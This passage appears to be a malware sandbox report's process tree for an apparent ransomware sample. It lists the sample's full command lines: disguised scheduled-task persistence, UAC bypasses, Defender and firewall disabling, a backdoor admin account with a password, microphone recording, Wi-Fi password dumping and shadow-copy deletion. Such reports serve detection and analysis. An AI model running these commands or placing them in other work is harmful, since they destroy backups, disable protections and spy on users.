        9⤵
        
        PID:8136
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe" /sc onlogon /f
        10⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:8892
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\cc8340de-772c-48fc-98be-d87063ab259c.inf
        10⤵
        
        PID:9044
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        10⤵
        
        PID:7816
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        11⤵
        
        PID:8296
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        10⤵
        
        PID:8396
        
        C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe"
        11⤵
        
        PID:7672
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe" /sc onlogon /f
        12⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:9628
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\c50e9b94-94a3-499d-b12d-91506d846e8a.inf
        12⤵
        
        PID:11052
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        12⤵
        
        PID:10412
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        13⤵
        
        PID:10644
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        12⤵
        
        PID:10724
        
        C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe"
        13⤵
        
        PID:12828
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe" /sc onlogon /f
        14⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:13940
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\5f0839b7-4a60-466d-98d2-179fa65ccf9c.inf
        14⤵
        
        PID:14584
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        14⤵
        
        PID:14716
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        15⤵
        
        PID:14912
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        14⤵
        
        PID:15004
        
        C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe"
        15⤵
        
        PID:6388
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe" /sc onlogon /f
        16⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:14740
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\2da4e54e-6f8f-41bc-8333-a3e1a303ae81.inf
        16⤵
        
        PID:14680
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        16⤵
        
        PID:9404
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        17⤵
        
        PID:3788
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        16⤵
        
        PID:15136
        
        C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe"
        17⤵
        
        PID:15092
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe" /sc onlogon /f
        18⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5168
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\f5cf7ab5-51aa-42a8-836a-6744b716c515.inf
        18⤵
        
        PID:9472
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        18⤵
        
        PID:11452
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        19⤵
        
        PID:4200
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        18⤵
        
        PID:4332
        
        C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe"
        19⤵
        
        PID:14108
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe" /sc onlogon /f
        20⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:10300
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\7030864f-1bbd-4f6b-9d79-b7a6541a4163.inf
        20⤵
        
        PID:14848
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        20⤵
        
        PID:15760
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        21⤵
        
        PID:6808
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        20⤵
        
        PID:10868
        
        C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe"
        21⤵
        
        PID:10888
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe" /sc onlogon /f
        22⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:11172
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\9b916cef-6019-46fc-972a-360b1e46b503.inf
        22⤵
        
        PID:14560
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        22⤵
        
        PID:15232
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        23⤵
        
        PID:15988
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        22⤵
        
        PID:14960
        
        C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe"
        23⤵
        
        PID:5264
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe" /sc onlogon /f
        24⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6496
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        22⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:13896
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        22⤵
        Creates a new local user account
        
        PID:6188
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        23⤵
        Creates a new local user account
        
        PID:15876
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        22⤵
        
        PID:13464
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        23⤵
        
        PID:15300
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        20⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:12756
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        20⤵
        Creates a new local user account
        
        PID:15940
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        21⤵
        Creates a new local user account
        
        PID:9676
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        20⤵
        
        PID:1104
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        21⤵
        
        PID:2488
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        20⤵
        
        PID:13524
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        18⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:13276
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        18⤵
        Creates a new local user account
        
        PID:12924
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        19⤵
        Creates a new local user account
        
        PID:16212
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        18⤵
        
        PID:10456
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        19⤵
        
        PID:13292
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        18⤵
        
        PID:11776
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639286690912785679.wav')"
        18⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10328
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        18⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:4176
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        18⤵
        Interacts with shadow copies
        
        PID:10592
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        18⤵
        
        PID:10676
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        18⤵
        
        PID:1356
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        18⤵
        Modifies Windows Firewall
        
        PID:14728
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        16⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:9288
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        16⤵
        
        PID:13472
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        17⤵
        Creates a new local user account
        
        PID:16220
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        16⤵
        
        PID:13052
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        17⤵
        
        PID:15092
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        16⤵
        
        PID:13860
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639286690662873309.wav')"
        16⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8968
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        16⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:11680
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        16⤵
        Interacts with shadow copies
        
        PID:11688
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        16⤵
        
        PID:9836
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        16⤵
        
        PID:13104
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        17⤵
        
        PID:3608
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        16⤵
        Modifies Windows Firewall
        
        PID:6628
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        16⤵
        Launches sc.exe
        
        PID:6972
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        14⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:15012
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        14⤵
        Creates a new local user account
        
        PID:15144
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        15⤵
        Creates a new local user account
        
        PID:16024
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        14⤵
        
        PID:15960
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        15⤵
        
        PID:6248
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        14⤵
        
        PID:13180
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639286690459824457.wav')"
        14⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7732
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        14⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:13008
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        14⤵
        Interacts with shadow copies
        
        PID:8620
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        14⤵
        
        PID:5004
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        14⤵
        
        PID:7884
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        15⤵
        
        PID:9136
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        14⤵
        Modifies Windows Firewall
        
        PID:14788
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        14⤵
        Launches sc.exe
        
        PID:14740
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        12⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:10732
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        12⤵
        Creates a new local user account
        
        PID:12264
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        13⤵
        Creates a new local user account
        
        PID:12368
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        12⤵
        
        PID:12356
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        13⤵
        
        PID:10468
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        12⤵
        
        PID:13128
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639286690219101902.wav')"
        12⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:15684
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        12⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:14284
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        12⤵
        Interacts with shadow copies
        
        PID:5572
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        12⤵
        
        PID:15260
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        12⤵
        
        PID:8736
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        13⤵
        
        PID:12840
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        12⤵
        Modifies Windows Firewall
        
        PID:16108
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        12⤵
        Launches sc.exe
        
        PID:12900
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        10⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:8628
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        10⤵
        Creates a new local user account
        
        PID:9224
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        11⤵
        Creates a new local user account
        
        PID:9744
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        10⤵
        
        PID:3944
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        11⤵
        
        PID:9664
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        10⤵
        
        PID:13300
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639286690161041678.wav')"
        10⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:14356
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        10⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:10380
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        10⤵
        Interacts with shadow copies
        
        PID:14448
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        10⤵
        
        PID:1232
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        10⤵
        
        PID:8640
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        11⤵
        
        PID:6784
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        10⤵
        Modifies Windows Firewall
        
        PID:13664
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        10⤵
        Launches sc.exe
        
        PID:8548
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        8⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:7988
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        8⤵
        Creates a new local user account
        
        PID:8472
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        9⤵
        Creates a new local user account
        
        PID:8808
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        8⤵
        
        PID:9180
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        9⤵
        
        PID:460
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        8⤵
        
        PID:11212
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639286690002514541.wav')"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3388
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        8⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:12248
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        8⤵
        Interacts with shadow copies
        
        PID:14704
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        8⤵
        
        PID:15176
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        8⤵
        
        PID:15196
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        9⤵
        
        PID:10924
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        8⤵
        Modifies Windows Firewall
        
        PID:16196
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        8⤵
        Launches sc.exe
        
        PID:15156
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        6⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:2188
      - C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        6⤵
        Creates a new local user account
        
        PID:6444
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        7⤵
        Creates a new local user account
        
        PID:7316
      - C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        6⤵
        
        PID:7808
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        7⤵
        
        PID:6644
      - C:\Windows\notepad.exe
        
        "notepad.exe"
        6⤵
        
        PID:8916
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639286689907404172.wav')"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12316
      - C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        6⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:12444
      - C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        6⤵
        Interacts with shadow copies
        
        PID:12576
      - C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        6⤵
        
        PID:11984
      - C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        6⤵
        
        PID:13828
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        7⤵
        
        PID:13676
      - C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        6⤵
        Modifies Windows Firewall
        
        PID:14228
      - C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        6⤵
        Launches sc.exe
        
        PID:1220
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      PID:3212
  - - C:\Windows\SYSTEM32\net.exe
      "net.exe" user WindowsUpdater P@ssw0rd123 /add
      4⤵
      Creates a new local user account
      PID:6820
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        5⤵
        Creates a new local user account
        
        PID:7068
  - - C:\Windows\SYSTEM32\net.exe
      "net.exe" localgroup Administrators WindowsUpdater /add
      4⤵
      PID:6372
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        5⤵
        
        PID:4200
  - - C:\Windows\notepad.exe
      "notepad.exe"
      4⤵
      PID:7036
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639286689842668745.wav')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:11228
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh" wlan show profiles key=clear
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:10452
  - - C:\Windows\System32\vssadmin.exe
      "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:11832
  - - C:\Windows\System32\wbem\WMIC.exe
      "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
      4⤵
      PID:10212
  - - C:\Windows\System32\net.exe
      "C:\Windows\System32\net.exe" stop srservice
      4⤵
      PID:12488
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        5⤵
        
        PID:13632
  - - C:\Windows\System32\netsh.exe
